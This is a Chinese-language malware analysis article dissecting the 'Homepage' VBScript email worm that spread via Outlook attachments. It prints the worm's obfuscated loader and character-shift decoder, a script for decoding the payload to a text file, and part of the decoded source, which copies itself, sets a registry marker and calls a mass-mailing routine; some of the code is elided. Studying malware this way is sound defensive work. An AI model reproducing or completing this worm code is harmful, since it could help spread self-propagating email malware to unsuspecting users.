病毒程序源码实例剖析-“主页”病毒[1]

 随着 Internet 的迅猛发展,电子邮件已经成为人们相互交流最常使用的工具,于是它也成为新型病毒——电子邮件型病毒的重要载体。最近一两年,出现了许多危害极大的邮件型病毒,如 “爱虫”病毒、“美丽莎”病毒、“库尔尼科娃”病毒、“Naked Wife” 病毒以及 Homepage 病毒等,这些病毒专挑 Windows 平台上应用最普遍的邮件客户端—— Microsoft  Outlook 下手,其发作和破坏主要是通过利用 Outlook 的可编程特性来完成的,在收件人使用 Outlook 打开邮件或邮件附件时,里面的病毒就会自动激活并向通讯簿的所有人发带有病毒附件的邮件,从而导致病毒的大规模迅速传播。如果是在企业环境中,由于网络速度较快,通讯簿中人数较多,只要用户打开已感染病毒的邮件,邮件会立即大规模地复制与传播,从而可能致使邮件服务器耗尽 资源而瘫痪。

  下面,我们来具体分析一下“主页”病毒(Homepage),了解它的运行机制。

  感染了“主页”病毒的邮件通常都带有一个名为 Homepage.html.vbs 的附件,很多人以为它是一个 Html 页面。在打开附件的同时,这个其实是一个 VBScript 的文件已经开始执行,这个文件的部分内容如下:
  
  Execute DeCode(
  '--加密后的病毒代码
  "Qp Gttqt Tguwog Pgzv  gv YU ? Etgcvg
  Qdlgev*  gv HUQ? Etgcvgqdlge
  ......
  uqhvyctg^Cp^ockngf 0 pf Kh  gzv  pf Kh 
  Pgzv  pf kh  pf Hwpevkqp")
  
  '--解码函数
  Function DeCode(Coded)
  '--对代码长度循环
  For I = 1 To Len(Coded)
    '--取当前字符
  CurChar = Mid(Coded, I, 1)
  '--解码
  If  Asc(CurChar) = 15 Then CurChar = Chr(10)
  ElseIf  Asc(CurChar) = 16 Then CurChar = Chr(13)
  ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32)
  ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9)
  Else CurChar = Chr(Asc(CurChar) – 2)
  End If
        DeCode = DeCode & CurChar
  Next
  End Function
 
  显然,“主页”病毒对自已的源码进行了加密以加强隐蔽性,加密后的代码就是 DeCode()函数中间的那些看似乱码的东西,这段脚本在执行时先利用 Decode()函数对自己进行解密,然后再执行解密后的源代码。
  我们只要对上述代码稍加修改,就能得到未加密的病毒源代码,修改后的文件另存为 Sourcecode.vbs ,如下所示:
  
  '--得到病毒源代码
    '--解码前的病毒代码
  strCode = 
  DeCode("Qp Gttqt Tguwog Pgzv  gv YU ? EtgcvgQdlgev*
    gv HUQ? Etgcvgqdlge
  ......
  uqhvyctg^Cp^ockngf 0 pf Kh  gzv  pf Kh
    gzv  pf kh  pf Hwpevkqp")
  
  '--将源代码存放到一个文本文件中
  --创建一个文件系统对象
  Set FSO = CreateObject("Scripting.filesystemobject")
  '--在C盘根目录下建立文件sourcecode.txt
  Set fCode = FSO.OpenTextFile("sourcecode.txt",2,true)
  '--解码后写进文件
  fCode.Write (Decode(strCode))
  '--关闭文件
  fCode.Close
  '--关闭对象
  FSO.Close
  
  '--解码函数(同上)
  Function Decode(Coded)
  ......
  End Function

  保存所做的修改,双击运行Sourcecode.vbs ,就可以在C盘根目录下生成一个Sourcecode.txt文件 ,该文件就是未加密的病毒源代码,部分关键代码如下:
  
  On Error Resume Next
  '--创建Shell对象
  Set WS = CreateObject("WScript.Shell")
  
  '--创建一个文件系统对象
  Set FSO = Createobject("scripting.filesystemobject")
  '--复制的目标目录
  Folder = FSO.GetSpecialFolder(2)
  
  '--打开文件
  Set InF = FSO.OpenTextFile(WScript.ScriptFullname,1) 
  '--将文件本身的内容读到内存中
  Do While InF.AtEndOfStream<>True
   ScriptBuffer = ScriptBuffer&InF.ReadLine&vbcrlf
  Loop
  
  '在目标目录中创建文件homepage.html.vbs
  Set OutF = FSO.OpenTextFile(Folder&"homepage.HTML.vbs",2,true)
  '--把缓冲区信息写到同名文件中,复制任务完成
  OutF.write ScriptBuffer 
  '--关闭不用的资源
  OutF.close
  Set FSO=Nothing 
  
  '--向Outlook的地址簿中每一个地址发去一封携毒邮件,同时在注册表项
  '--HKCUsoftwareAnmailed中为自已做一个标记,保证在同一台主机上只发一次
  If WS.regread ("HKCUsoftwareAnmailed") <> "1" then
  Mailit()
  End If

 

你可能感兴趣的:(病毒,木马,网络攻防)